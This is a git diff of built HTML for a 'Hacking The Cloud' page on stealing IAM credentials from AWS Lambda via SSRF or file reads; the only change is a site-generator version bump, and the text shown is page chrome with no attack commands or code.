15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">November 4, 2021</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/delenamalan class=md-author title=@delenamalan> <img src="https://avatars.githubusercontent.com/u/4767109?v=4&size=72" alt=delenamalan> </a> <a href=https://github.com/gonda-praetorian class=md-author title=@gonda-praetorian> <img src="https://avatars.githubusercontent.com/u/92731402?v=4&size=72" alt=gonda-praetorian> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/blob/main/content/aws/exploitation/iam_privilege_escalation.md class="md-author md-author--more"> +1 </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/aws/exploitation/lambda-steal-iam-credentials/index.html b/aws/exploitation/lambda-steal-iam-credentials/index.html
index f0a9363b2..0a0ae115d 100644
--- a/aws/exploitation/lambda-steal-iam-credentials/index.html
+++ b/aws/exploitation/lambda-steal-iam-credentials/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda."><link href=https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ rel=canonical><link href=../iam_privilege_escalation/ rel=prev><link href=../local_ec2_priv_esc_through_user_data/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Steal IAM Credentials and Event Data from Lambda - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Steal IAM Credentials and Event Data from Lambda - Hacking The Cloud"><meta property=og:description content="Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Steal IAM Credentials and Event Data from Lambda - Hacking The Cloud"><meta property=twitter:description content="Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda."><link href=https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ rel=canonical><link href=../iam_privilege_escalation/ rel=prev><link href=../local_ec2_priv_esc_through_user_data/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Steal IAM Credentials and Event Data from Lambda - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Steal IAM Credentials and Event Data from Lambda - Hacking The Cloud"><meta property=og:description content="Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Steal IAM Credentials and Event Data from Lambda - Hacking The Cloud"><meta property=twitter:description content="Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#steal-iam-credentials-and-event-data-from-lambda class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 